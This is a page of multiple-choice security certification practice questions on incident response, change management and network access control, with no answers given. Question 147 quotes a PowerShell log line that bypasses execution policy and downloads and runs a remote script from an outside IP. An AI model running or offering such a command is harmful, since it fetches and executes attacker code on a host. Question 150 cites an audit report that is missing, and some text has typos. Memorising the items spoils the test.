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Question # 136

Which of the following incident response activities ensures evidence is properly handied?

Options:

A.  

E-discovery

B.  

Chain of custody

C.  

Legal hold

D.  

Preservation

Discussion 0
Question # 137

A company is in the process of migrating to cloud-based services. The company ' s IT department has limited resources for migration and ongoing support. Which of the following best meets the company ' s needs?

Options:

A.  

IPS

B.  

WAF

C.  

SASE

D.  

IAM

Discussion 0
Question # 138

Which of the following would best ensure a controlled version release of a new software application?

Options:

A.  

Business continuity planning

B.  

Quantified risk analysis

C.  

Static code analysis

D.  

Change management procedures

Discussion 0
Question # 139

An IT administrator needs to ensure data retention standards are implemented on an enterprise application. Which of the following describes the administrator ' s role?

Options:

A.  

Processor

B.  

Custodian

C.  

Privacy officer

D.  

Owner

Discussion 0
Question # 140

An employee clicks a malicious link in an email that appears to be from the company ' s Chief Executive Officer. The employee ' s computer is infected with ransomware that encrypts the company ' s files. Which of the following is the most effective way for the company to prevent similar incidents in the future?

Options:

A.  

Security awareness training

B.  

Database encryption

C.  

Segmentation

D.  

Reporting suspicious emails

Discussion 0
Question # 141

A company ' s Chief Information Security Officer (CISO) wants to enhance the capabilities of the incident response team. The CISO directs the incident response team to deploy a tool that rapidlyanalyzes host and network data from potentially compromised systems and forwards the data for further review. Which of the following tools should the incident response team deploy?

Options:

A.  

NAC

B.  

IPS

C.  

SIEM

D.  

EDR

Discussion 0
Question # 142

An employee used a company ' s billing system to issue fraudulent checks. The administrator is looking for evidence of other occurrences of this activity. Which of the following should the administrator examine?

Options:

A.  

Application logs

B.  

Vulnerability scanner logs

C.  

IDS/IPS logs

D.  

Firewall logs

Discussion 0
Question # 143

An organization ' s web servers host an online ordering system. The organization discovers that the servers are vulnerable to a malicious JavaScript injection, which could allow attackers to access customer payment information. Which of the following mitigation strategies would be most effective for preventing an attack on the organization ' s web servers? (Select two).

Options:

A.  

Regularly updating server software and patches

B.  

Implementing strong password policies

C.  

Encrypting sensitive data at rest and in transit

D.  

Utilizing a web-application firewall

E.  

Performing regular vulnerability scans

F.  

Removing payment information from the servers

Discussion 0
Question # 144

A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from accessing the devices by using publicly available information?

Options:

A.  

Install endpoint protection

B.  

Disable ports/protocols

C.  

Change default passwords

D.  

Remove unnecessary software

Discussion 0
Question # 145

Which of the following will most likely lead an organization to revise its change management policy?

Options:

A.  

An engineer adds a new feature to the production service.

B.  

A production server continuously runs at its maximum load.

C.  

Software is migrated to a cloud that offers increased flexibility in its updates.

D.  

A legacy server lacks support for new regulatory requirements.

Discussion 0
Question # 146

Which of the following describes effective change management procedures?

Options:

A.  

Approving the change after a successful deployment

B.  

Having a backout plan when a patch fails

C.  

Using a spreadsheet for tracking changes

D.  

Using an automatic change control bypass for security updates

Discussion 0
Question # 147

A security analyst reviews the following endpoint log:

powershell -exec bypass -Command " IEX (New-Object Net.WebClient).DownloadString(http://176.30.40.50/evil.ps1 " )

Which of the following logs will help confirm an established connection to IP address 176.30.40.50?

Options:

A.  

System event logs

B.  

EDR logs

C.  

Firewall logs

D.  

Application logs

Discussion 0
Question # 148

Which of the following would be the best way to handle a critical business application that is running on a legacy server?

Options:

A.  

Segmentation

B.  

Isolation

C.  

Hardening

D.  

Decommissioning

Discussion 0
Question # 149

Which of the following actions is best performed by ticketing automation to ensure that incidents receive the correct level of attention and response?

Options:

A.  

Notification

B.  

Creation

C.  

Closure

D.  

Escalation

Discussion 0
Question # 150

A security analyst finds a rogue device during a monthly audit of current endpoint assets that are connected to the network. The corporate network utilizes 002.1X for access control. To be allowed on the network, a device must have a Known hardware address, and a valid user name and password must be entered in a captive portal. The following is the audit report:

Question # 150

Which of the following is the most likely way a rogue device was allowed to connect?

Options:

A.  

A user performed a MAC cloning attack with a personal device.

B.  

A DMCP failure caused an incorrect IP address to be distributed

C.  

An administrator bypassed the security controls for testing.

D.  

DNS hijacking let an attacker intercept the captive portal traffic.

Discussion 0
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